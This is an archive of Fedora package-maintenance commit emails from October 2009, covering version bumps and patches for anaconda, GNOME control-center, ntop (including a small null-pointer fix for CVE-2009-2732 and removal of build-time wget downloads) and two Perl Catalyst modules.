- Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
- Add MultipathDevice.getDMNode(), because .updateSysfsPath() needs it.
  (pjones)
- Add MultipathDevice.updateSysfsPath() (pjones)
- Run implantisomd5 on boot.iso on x86. (bz#526902) (pjones)
- Consider encryption when checking for duplicate mountpoint. (#526697)
  (dlehman)
- Fix grub stage1 installation for /boot on md raid1. (rvykydal)
- Do not show the VNC-over-text question, when there is not enough memory
  for GUI (#527979) (msivak)
- Fix filtering out of 'Sending translation for' log messages in bumpver.
  (rvykydal)
- Use addUdevPartitionDevice() for adding dmraid / multipath partitions
  (#527785) (hdegoede)
- Set partedPartition system to the correct FS when creating an FS (hdegoede)
- Reset parted flags in createFormat not destroyFormat (hdegoede)
- Default to mbr bootloader target for mdraid 1 boot device too (#526822).
  (rvykydal)
- Clear out state before calling XkbGetState. (clumens)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.677
retrieving revision 1.678
diff -u -p -r1.677 -r1.678
--- .cvsignore	8 Oct 2009 14:22:08 -0000	1.677
+++ .cvsignore	10 Oct 2009 01:35:11 -0000	1.678
@@ -1 +1 @@
-anaconda-13.2.tar.bz2
+anaconda-13.3.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.827
retrieving revision 1.828
diff -u -p -r1.827 -r1.828
--- anaconda.spec	8 Oct 2009 14:22:08 -0000	1.827
+++ anaconda.spec	10 Oct 2009 01:35:11 -0000	1.828
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.2
+Version: 13.3
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -216,6 +216,27 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 13.3-1
+- Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
+- Add MultipathDevice.getDMNode(), because .updateSysfsPath() needs it.
+  (pjones)
+- Add MultipathDevice.updateSysfsPath() (pjones)
+- Run implantisomd5 on boot.iso on x86. (bz#526902) (pjones)
+- Consider encryption when checking for duplicate mountpoint. (#526697)
+  (dlehman)
+- Fix grub stage1 installation for /boot on md raid1. (rvykydal)
+- Do not show the VNC-over-text question, when there is not enough memory
+  for GUI (#527979) (msivak)
+- Fix filtering out of 'Sending translation for' log messages in bumpver.
+  (rvykydal)
+- Use addUdevPartitionDevice() for adding dmraid / multipath partitions
+  (#527785) (hdegoede)
+- Set partedPartition system to the correct FS when creating an FS (hdegoede)
+- Reset parted flags in createFormat not destroyFormat (hdegoede)
+- Default to mbr bootloader target for mdraid 1 boot device too (#526822).
+  (rvykydal)
+- Clear out state before calling XkbGetState. (clumens)
+
 * Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 13.2-1
 - Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
 - Create DASDDevice objects for DASD devices when building devicetree.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.811
retrieving revision 1.812
diff -u -p -r1.811 -r1.812
--- sources	8 Oct 2009 14:22:08 -0000	1.811
+++ sources	10 Oct 2009 01:35:12 -0000	1.812
@@ -1 +1 @@
-a0fdb9df53469b32ce860f6525b4a00f  anaconda-13.2.tar.bz2
+716a43a9ad2a6bfbf9262dc5999376c8  anaconda-13.3.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 10 01:56:20 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 10 Oct 2009 01:56:20 +0000 (UTC)
Subject: rpms/control-center/F-12 control-center.spec, 1.497,
	1.498 make-default.patch, 1.13, 1.14
Message-ID: <20091010015621.320E511C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16815

Modified Files:
	control-center.spec make-default.patch 
Log Message:
Cosmetic change to the appearance capplet



Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.497
retrieving revision 1.498
diff -u -p -r1.497 -r1.498
--- control-center.spec	6 Oct 2009 04:25:00 -0000	1.497
+++ control-center.spec	10 Oct 2009 01:56:18 -0000	1.498
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.0
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -398,6 +398,9 @@ fi
 
 
 %changelog
+* Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-16
+- Cosmetic change to the background tab in the appearance capplet
+
 * Tue Oct  6 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-15
 - Fix a crash in the about-me capplet (#525590)
 

make-default.patch:
 appearance-desktop.c |  112 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 112 insertions(+)

Index: make-default.patch
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/make-default.patch,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- make-default.patch	23 Sep 2009 22:16:29 -0000	1.13
+++ make-default.patch	10 Oct 2009 01:56:19 -0000	1.14
@@ -1,6 +1,6 @@
 diff -up gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c.make-default gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c
---- gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c.make-default	2009-09-21 06:44:55.000000000 -0400
-+++ gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c	2009-09-23 18:13:49.115396173 -0400
+--- gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c.make-default	2009-10-09 21:43:13.443819939 -0400
++++ gnome-control-center-2.28.0/capplets/appearance/appearance-desktop.c	2009-10-09 21:45:48.428819404 -0400
 @@ -31,6 +31,8 @@
  #include <libgnomeui/gnome-desktop-thumbnail.h>
  #include <libgnomeui/gnome-bg.h>
@@ -10,7 +10,7 @@ diff -up gnome-control-center-2.28.0/cap
  enum {
    TARGET_URI_LIST,
    TARGET_BGIMAGE
-@@ -984,6 +986,100 @@ wp_select_after_realize (GtkWidget *widg
+@@ -984,6 +986,99 @@ wp_select_after_realize (GtkWidget *widg
    select_item (data, item, TRUE);
  }
  
@@ -101,7 +101,6 @@ diff -up gnome-control-center-2.28.0/cap
 +    g_error_free (error);
 +  }
 +
-+  g_print ("calling CanSetSystem: %d\n", result);
 +  g_object_unref (proxy);
 +
 +out:
@@ -111,7 +110,7 @@ diff -up gnome-control-center-2.28.0/cap
  static GdkPixbuf *buttons[3];
  
  static void
-@@ -1146,6 +1242,8 @@ desktop_init (AppearanceData *data,
+@@ -1146,6 +1241,8 @@ desktop_init (AppearanceData *data,
  {
    GtkWidget *add_button, *w;
    GtkCellRenderer *cr;
@@ -119,27 +118,24 @@ diff -up gnome-control-center-2.28.0/cap
 +  GtkWidget *widget, *box, *button;
    char *url;
  
-   g_object_set (gtk_settings_get_default (), "gtk-tooltip-timeout", 500, NULL);
-@@ -1295,6 +1393,24 @@ desktop_init (AppearanceData *data,
+   data->wp_update_gconf = TRUE;
+@@ -1294,6 +1391,21 @@ desktop_init (AppearanceData *data,
    /* create the file selector later to save time on startup */
    data->wp_filesel = NULL;
  
-+  widget = appearance_capplet_get_widget (data, "background_vbox");
-+  box = gtk_hbox_new (FALSE, 0);
-+  gtk_box_pack_end (GTK_BOX (widget), box, FALSE, FALSE, 0);
-+
 +  action = gtk_action_new ("set-system",
 +                           _("Make Default"),
 +                           _("Set the current background as the system-wide default"),
 +                           NULL);
 +  check_can_set_background (action);
-+          
++
 +  button = gtk_button_new ();
 +  gtk_activatable_set_related_action (GTK_ACTIVATABLE (button), action);
 +  gtk_widget_set_no_show_all (button, TRUE);
 +  g_object_unref (action);
 +
-+  gtk_box_pack_end (GTK_BOX (box), button, FALSE, FALSE, 0);
++  box = appearance_capplet_get_widget (data, "hbox_get_more");
++  gtk_box_pack_end (GTK_BOX (box), button, FALSE, FALSE, 6);
 +
 +  g_signal_connect (action, "activate", G_CALLBACK (set_background), data);
  }



From rakesh at fedoraproject.org  Sat Oct 10 06:07:49 2009
From: rakesh at fedoraproject.org (Rakesh Pandit)
Date: Sat, 10 Oct 2009 06:07:49 +0000 (UTC)
Subject: rpms/ntop/F-11 ntop-http_c_user.patch, NONE, 1.1 ntop-lua_wget.patch,
	NONE, 1.1 .cvsignore, 1.4, 1.5 import.log, 1.2,
	1.3 ntop-geoip.patch, 1.1, 1.2 ntop.spec, 1.9, 1.10 sources, 1.4,
	1.5 ntop-http_c.patch, 1.1, NONE
Message-ID: <20091010060750.08A1111C00DB@cvs1.fedora.phx.redhat.com>

Author: rakesh

Update of /cvs/pkgs/rpms/ntop/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5439/F-11

Modified Files:
	.cvsignore import.log ntop-geoip.patch ntop.spec sources 
Added Files:
	ntop-http_c_user.patch ntop-lua_wget.patch 
Removed Files:
	ntop-http_c.patch 
Log Message:
Updated to 3.3.10 and fix for CVE-2009-2732 BZ#518264


ntop-http_c_user.patch:
 http.c |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE ntop-http_c_user.patch ---
--- ntop-3.3.10.org/http.c	2009-09-13 14:23:48.895204786 +0530
+++ ntop-3.3.10/http.c	2009-09-13 14:45:35.603204376 +0530
@@ -3439,6 +3439,9 @@
     strncpy(thePw, &outBuffer[i+1], thePwLen-1)[thePwLen-1] = '\0';
   }
 
+  if(user == NULL)
+    user = "";
+
   if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
   strcpy(theHttpUser, user);
 

ntop-lua_wget.patch:
 configure.in |   20 +-------------------
 1 file changed, 1 insertion(+), 19 deletions(-)

--- NEW FILE ntop-lua_wget.patch ---
--- ntop-3.3.10.org/configure.in	2009-08-05 20:23:00.296160799 +0530
+++ ntop-3.3.10/configure.in	2009-08-05 20:34:16.656165445 +0530
@@ -1644,25 +1644,7 @@
   fi
 fi
 
-dnl>
-dnl> Lua - http://www.lua.org
-dnl>
-LUA_VERSION=lua-5.1.4
-if test -f "$LUA_VERSION.tar.gz"; then
-   echo "Lua already present on this machine"
-else
-   wget http://www.lua.org/ftp/$LUA_VERSION.tar.gz
-fi
-
-tar xvfz $LUA_VERSION.tar.gz
-cat $LUA_VERSION/src/Makefile | sed -e s,'MYCFLAGS=-DLUA_USE_POSIX',' MYCFLAGS="-fPIC -DLUA_USE_POSIX"',g > /tmp/lua.temp
-cat /tmp/lua.temp >  $LUA_VERSION/src/Makefile
-#rm -f /tmp/lua.temp
-cd $LUA_VERSION; make posix; cd ..
-
-LUA_LIB_DIR=$PWD/$LUA_VERSION"/src"
-LIBS="-L${LUA_LIB_DIR} -llua ${LIBS} "
-INCS="${INCS} -I${LUA_LIB_DIR}"
+LIBS="-llua ${LIBS} "
 AC_DEFINE_UNQUOTED(HAVE_LUA, 1, [LUA is supported])
 
 dnl>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	2 Mar 2009 18:09:12 -0000	1.4
+++ .cvsignore	10 Oct 2009 06:07:48 -0000	1.5
@@ -1,4 +1,3 @@
-GeoIP.tar.gz
 GeoIPASNum.dat.gz
 GeoLiteCity.dat.gz
-ntop-3.3.9.tar.gz
+ntop-3.3.10.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	22 Oct 2008 13:36:48 -0000	1.2
+++ import.log	10 Oct 2009 06:07:48 -0000	1.3
@@ -1,2 +1,3 @@
 ntop-3_3_6-5_fc9:HEAD:ntop-3.3.6-5.fc9.src.rpm:1218561708
 ntop-3_3_8-1_fc10:HEAD:ntop-3.3.8-1.fc10.src.rpm:1224702132
+ntop-3_3_10-1_fc11:F-11:ntop-3.3.10-1.fc11.src.rpm:1255155466

ntop-geoip.patch:
 Makefile.am  |    2 --
 configure.in |   49 ++++++++++++++++---------------------------------
 2 files changed, 16 insertions(+), 35 deletions(-)

Index: ntop-geoip.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/ntop-geoip.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ntop-geoip.patch	5 Mar 2009 11:59:43 -0000	1.1
+++ ntop-geoip.patch	10 Oct 2009 06:07:48 -0000	1.2
@@ -1,7 +1,6 @@
-diff -up ntop-3.3.9/configure.in.geo ntop-3.3.9/configure.in
---- ntop-3.3.9/configure.in.geo	2009-03-05 11:30:53.000000000 +0100
-+++ ntop-3.3.9/configure.in	2009-03-05 11:30:53.000000000 +0100
-@@ -1890,40 +1890,23 @@ else
+--- ntop-3.3.10.org/configure.in	2009-08-05 19:30:31.141160363 +0530
++++ ntop-3.3.10/configure.in	2009-08-05 19:34:11.076160092 +0530
+@@ -1962,40 +1962,23 @@
      }'`
  fi
  
@@ -10,14 +9,14 @@ diff -up ntop-3.3.9/configure.in.geo nto
 -   echo "GeoIP already present on this machine"
 -else
 -   wget http://www.maxmind.com/download/geoip/api/c/GeoIP.tar.gz
--   tar xvfz GeoIP.tar.gz
--   GEO_DIR=`find $PWD -type d -name "GeoIP-*"`
--   cd $GEO_DIR; ./configure; make; cd ..
--   # OSX Fix
--   GEO_DYLIB="$GEO_DIR/libGeoIP/.libs/libGeoIP.dylib"
--   if test -f $GEO_DYLIB; then
--      ln -s $GEO_DYLIB .
--   fi
+-fi
+-tar xvfz GeoIP.tar.gz
+-GEO_DIR=`find $PWD -type d -name "GeoIP-*"`
+-cd $GEO_DIR; ./configure --prefix=${prefix}; make; cd ..
+-# OSX Fix
+-GEO_DYLIB="$GEO_DIR/libGeoIP/.libs/libGeoIP.dylib"
+-if test -f $GEO_DYLIB; then
+-   ln -s $GEO_DYLIB .
 -fi
 -
 -if test -f "GeoLiteCity.dat"; then
@@ -54,14 +53,13 @@ diff -up ntop-3.3.9/configure.in.geo nto
 -GEO_DIR=`find $PWD -type d -name "GeoIP-*"`
 -GEO_IP="$GEO_DIR/libGeoIP/"
 -CFLAGS="$CFLAGS -I$GEO_IP"
--LDFLAGS="$LDFLAGS -L$GEO_IP.libs/ -lGeoIP"
+-LDFLAGS="-L$GEO_IP.libs/ -lGeoIP $LDFLAGS"
  
  dnl> NTOPCONFIGDEBUG_SETTINGS([precet])
  
-diff -up ntop-3.3.9/Makefile.am.geo ntop-3.3.9/Makefile.am
---- ntop-3.3.9/Makefile.am.geo	2009-03-05 11:39:26.000000000 +0100
-+++ ntop-3.3.9/Makefile.am	2009-03-05 12:20:11.000000000 +0100
-@@ -262,8 +262,6 @@ libclean:
+--- ntop-3.3.10.org/Makefile.am	2009-08-05 19:30:31.115222483 +0530
++++ ntop-3.3.10/Makefile.am	2009-08-05 19:34:51.918165468 +0530
+@@ -270,8 +270,6 @@
  
  install: install-recursive
  


Index: ntop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/ntop.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ntop.spec	17 Mar 2009 08:28:30 -0000	1.9
+++ ntop.spec	10 Oct 2009 06:07:48 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           ntop
-Version:        3.3.9
-Release:        5%{?dist}
+Version:        3.3.10
+Release:        1%{?dist}
 Summary:        A network traffic probe similar to the UNIX top command
 Group:          Applications/Internet
 # Confirmed from fedora legal 488717
@@ -16,7 +16,8 @@ Patch2:         ntop-running-user.patch
 Patch3:         ntop-dbfile-default-dir.patch
 Patch4:         ntop-enable-sslv3.patch
 Patch5:         ntop-geoip.patch
-Patch6:         ntop-http_c.patch
+Patch6:         ntop-lua_wget.patch
+Patch7:         ntop-http_c_user.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  autoconf, automake, pkgconfig, libtool, groff, libpcap-devel wget
 BuildRequires:  gdbm-devel, gd-devel, rrdtool-devel, openssl-devel
@@ -68,7 +69,8 @@ find . \( -name \*\.gz -o -name \*\.c -o
 %patch3 -p1 -b .dbfile-default-dir
 %patch4 -p1 -b .sslv3
 %patch5 -p1 -b .geo
-%patch6 -p1 -b .http_c
+%patch6 -p1 -b .lua_wget
+%patch7 -p1 -b .http_c_user
 
 %build
 #run ntop own autoconf wrapper
@@ -188,6 +190,12 @@ fi
 %{_localstatedir}/lib/ntop/rrd
 
 %changelog
+* Thu Oct 08 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 3.3.10-1
+- Patch7: ntop-http_c_user.patch for #518264 (CVE-2009-2732)
+- Updated to 3.3.10
+- Removed umask patch - already upstream
+- Added lua patch for preventing wget
+
 * Tue Mar 17 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 3.3.9-5
 - Fixed world-writable access log (#490561)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	2 Mar 2009 18:09:12 -0000	1.4
+++ sources	10 Oct 2009 06:07:48 -0000	1.5
@@ -1,4 +1,3 @@
-cb14b1beeb40631a12676b11ca0c309a  GeoIP.tar.gz
 32997e6d3b1df64cbbb3ecc0adfb9ad8  GeoIPASNum.dat.gz
 1838a3a68f2c7a9eb310cee8f82b6a64  GeoLiteCity.dat.gz
-0c22038e0f2aa003110437b5a5d5a6a5  ntop-3.3.9.tar.gz
+6e2ffa90d5f935c8f03d88a5dd19a866  ntop-3.3.10.tar.gz


--- ntop-http_c.patch DELETED ---



From rakesh at fedoraproject.org  Sat Oct 10 06:09:32 2009
From: rakesh at fedoraproject.org (Rakesh Pandit)
Date: Sat, 10 Oct 2009 06:09:32 +0000 (UTC)
Subject: rpms/ntop/devel ntop-http_c.patch, 1.2, 1.3 import.log, 1.3,
	1.4 ntop.spec, 1.12, 1.13
Message-ID: <20091010060932.AEEF811C00DB@cvs1.fedora.phx.redhat.com>

Author: rakesh

Update of /cvs/pkgs/rpms/ntop/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6767/devel

Modified Files:
	import.log ntop.spec 
Added Files:
	ntop-http_c.patch 
Log Message:
Patch7: ntop-http_c_user.patch for #518264 (CVE-2009-2732)


ntop-http_c.patch:
 http.c |    3 +++
 1 file changed, 3 insertions(+)

Index: ntop-http_c.patch
===================================================================
RCS file: ntop-http_c.patch
diff -N ntop-http_c.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ ntop-http_c.patch	10 Oct 2009 06:09:31 -0000	1.3
@@ -0,0 +1,12 @@
+--- ntop-3.3.10.org/http.c	2009-09-13 14:23:48.895204786 +0530
++++ ntop-3.3.10/http.c	2009-09-13 14:45:35.603204376 +0530
+@@ -3439,6 +3439,9 @@
+     strncpy(thePw, &outBuffer[i+1], thePwLen-1)[thePwLen-1] = '\0';
+   }
+ 
++  if(user == NULL)
++    user = "";
++
+   if(strlen(user) >= sizeof(theHttpUser)) user[sizeof(theHttpUser)-1] = '\0';
+   strcpy(theHttpUser, user);
+ 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	5 Aug 2009 15:25:07 -0000	1.3
+++ import.log	10 Oct 2009 06:09:31 -0000	1.4
@@ -1,3 +1,4 @@
 ntop-3_3_6-5_fc9:HEAD:ntop-3.3.6-5.fc9.src.rpm:1218561708
 ntop-3_3_8-1_fc10:HEAD:ntop-3.3.8-1.fc10.src.rpm:1224702132
 ntop-3_3_10-1_fc11:HEAD:ntop-3.3.10-1.fc11.src.rpm:1249486132
+ntop-3_3_10-3_fc12:HEAD:ntop-3.3.10-3.fc12.src.rpm:1255155644


Index: ntop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/devel/ntop.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ntop.spec	21 Aug 2009 14:44:32 -0000	1.12
+++ ntop.spec	10 Oct 2009 06:09:31 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           ntop
 Version:        3.3.10
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A network traffic probe similar to the UNIX top command
 Group:          Applications/Internet
 # Confirmed from fedora legal 488717
@@ -17,6 +17,7 @@ Patch3:         ntop-dbfile-default-dir.
 Patch4:         ntop-enable-sslv3.patch
 Patch5:         ntop-geoip.patch
 Patch6:         ntop-lua_wget.patch
+Patch7:         ntop-http_c.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  autoconf, automake, pkgconfig, libtool, groff, libpcap-devel wget
 BuildRequires:  gdbm-devel, gd-devel, rrdtool-devel, openssl-devel
@@ -69,7 +70,7 @@ find . \( -name \*\.gz -o -name \*\.c -o
 %patch4 -p1 -b .sslv3
 %patch5 -p1 -b .geo
 %patch6 -p1 -b .lua_wget
-#%patch6 -p1 -b .http_c
+%patch7 -p1 -b .http_c
 
 %build
 #run ntop own autoconf wrapper
@@ -189,6 +190,9 @@ fi
 %{_localstatedir}/lib/ntop/rrd
 
 %changelog
+* Sun Sep 13 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 3.3.10-3
+- Patch7: ntop-http_c.patch for #518264 (CVE-2009-2732)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 3.3.10-2
 - rebuilt with new openssl
 



From rakesh at fedoraproject.org  Sat Oct 10 07:01:46 2009
From: rakesh at fedoraproject.org (Rakesh Pandit)
Date: Sat, 10 Oct 2009 07:01:46 +0000 (UTC)
Subject: rpms/ntop/F-11 ntop.spec,1.10,1.11
Message-ID: <20091010070146.ED67611C00DB@cvs1.fedora.phx.redhat.com>

Author: rakesh

Update of /cvs/pkgs/rpms/ntop/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17643

Modified Files:
	ntop.spec 
Log Message:
Added missing BR's libevent-devel, lua-devel


Index: ntop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ntop/F-11/ntop.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ntop.spec	10 Oct 2009 06:07:48 -0000	1.10
+++ ntop.spec	10 Oct 2009 07:01:44 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           ntop
 Version:        3.3.10
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A network traffic probe similar to the UNIX top command
 Group:          Applications/Internet
 # Confirmed from fedora legal 488717
@@ -23,7 +23,7 @@ BuildRequires:  autoconf, automake, pkgc
 BuildRequires:  gdbm-devel, gd-devel, rrdtool-devel, openssl-devel
 BuildRequires:  net-snmp-devel, lm_sensors-devel, pcre-devel, mysql-devel
 BuildRequires:  tcp_wrappers-devel, perl(ExtUtils::Embed)
-BuildRequires:  GeoIP-devel
+BuildRequires:  GeoIP-devel, libevent-devel, lua-devel
 Requires:       initscripts, graphviz
 Requires(post): /sbin/chkconfig       
 Requires(post): openssl >= 0.9.7f-4, /bin/cat
@@ -190,6 +190,9 @@ fi
 %{_localstatedir}/lib/ntop/rrd
 
 %changelog
+* Sat Oct 10 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 3.3.10-2
+- Added missing BR libevent-devel, lua-devel
+
 * Thu Oct 08 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 3.3.10-1
 - Patch7: ntop-http_c_user.patch for #518264 (CVE-2009-2732)
 - Updated to 3.3.10



From iarnell at fedoraproject.org  Sat Oct 10 07:13:57 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sat, 10 Oct 2009 07:13:57 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Session-State-URI/devel .cvsignore, 1.4, 
	1.5 perl-Catalyst-Plugin-Session-State-URI.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091010071357.CFCAA11C00DB@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21298

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Session-State-URI.spec sources 
Log Message:
* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.12-1
- update to latest upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	31 Jul 2009 08:03:29 -0000	1.4
+++ .cvsignore	10 Oct 2009 07:13:56 -0000	1.5
@@ -1 +1 @@
-Catalyst-Plugin-Session-State-URI-0.11.tar.gz
+Catalyst-Plugin-Session-State-URI-0.12.tar.gz


Index: perl-Catalyst-Plugin-Session-State-URI.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/perl-Catalyst-Plugin-Session-State-URI.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Catalyst-Plugin-Session-State-URI.spec	31 Jul 2009 08:22:22 -0000	1.6
+++ perl-Catalyst-Plugin-Session-State-URI.spec	10 Oct 2009 07:13:56 -0000	1.7
@@ -1,11 +1,11 @@
 Name:           perl-Catalyst-Plugin-Session-State-URI
-Version:        0.11
+Version:        0.12
 Release:        1%{?dist}
 Summary:        Saves session IDs by rewriting URIs delivered to the client
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Catalyst-Plugin-Session-State-URI/
-Source0:        http://search.cpan.org/CPAN/authors/id/D/DR/DROLSKY/Catalyst-Plugin-Session-State-URI-%{version}.tar.gz
+Source0:        http://cpan.org/modules/by-module/Catalyst/Catalyst-Plugin-Session-State-URI-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  perl(Catalyst::Plugin::Session) >= 0.06
@@ -55,6 +55,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.12-1
+- update to latest upstream version
+
 * Fri Jul 31 2009 Iain Arnell <iarnell at gmail.com> 0.11-1
 - update to latest upstream version
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session-State-URI/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	31 Jul 2009 08:03:29 -0000	1.4
+++ sources	10 Oct 2009 07:13:56 -0000	1.5
@@ -1 +1 @@
-a54dee658c4556a72dcf4eea0e814ca1  Catalyst-Plugin-Session-State-URI-0.11.tar.gz
+3bd6c1eadc8aaf80d7684dd1ccfdd42c  Catalyst-Plugin-Session-State-URI-0.12.tar.gz



From iarnell at fedoraproject.org  Sat Oct 10 07:30:24 2009
From: iarnell at fedoraproject.org (Iain Arnell)
Date: Sat, 10 Oct 2009 07:30:24 +0000 (UTC)
Subject: rpms/perl-Catalyst-Plugin-Session/devel .cvsignore, 1.4,
	1.5 perl-Catalyst-Plugin-Session.spec, 1.8, 1.9 sources, 1.5, 1.6
Message-ID: <20091010073025.03AFE11C00E6@cvs1.fedora.phx.redhat.com>

Author: iarnell

Update of /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22961

Modified Files:
	.cvsignore perl-Catalyst-Plugin-Session.spec sources 
Log Message:
* Sat Oct 10 2009 Iain Arnell <iarnell at gmail.com> 0.27-1
- update to 0.27
- remove buildreq on perl(Text::MockObject)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Sep 2009 07:38:56 -0000	1.4
+++ .cvsignore	10 Oct 2009 07:30:23 -0000	1.5
@@ -1 +1 @@
-Catalyst-Plugin-Session-0.25.tar.gz
+Catalyst-Plugin-Session-0.27.tar.gz


Index: perl-Catalyst-Plugin-Session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Catalyst-Plugin-Session/devel/perl-Catalyst-Plugin-Session.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- perl-Catalyst-Plugin-Session.spec	1 Sep 2009 07:38:56 -0000	1.8
+++ perl-Catalyst-Plugin-Session.spec	10 Oct 2009 07:30:23 -0000	1.9
@@ -1,11 +1,11 @@
 Name:           perl-Catalyst-Plugin-Session
-Version:        0.25
+Version:        0.27
 Release:        1%{?dist}
 Summary:        Catalyst generic session plugin
 License:        GPL+ or Artistic
 Group:          Development/Libraries
 URL:            http://search.cpan.org/dist/Catalyst-Plugin-Session/
-Source0:        http://search.cpan.org/CPAN/authors/id/B/BO/BOBTFISH/Catalyst-Plugin-Session-%{version}.tar.gz
+Source0:        http://cpan.org/modules/by-module/Catalyst/Catalyst-Plugin-Session-%{version}.tar.gz
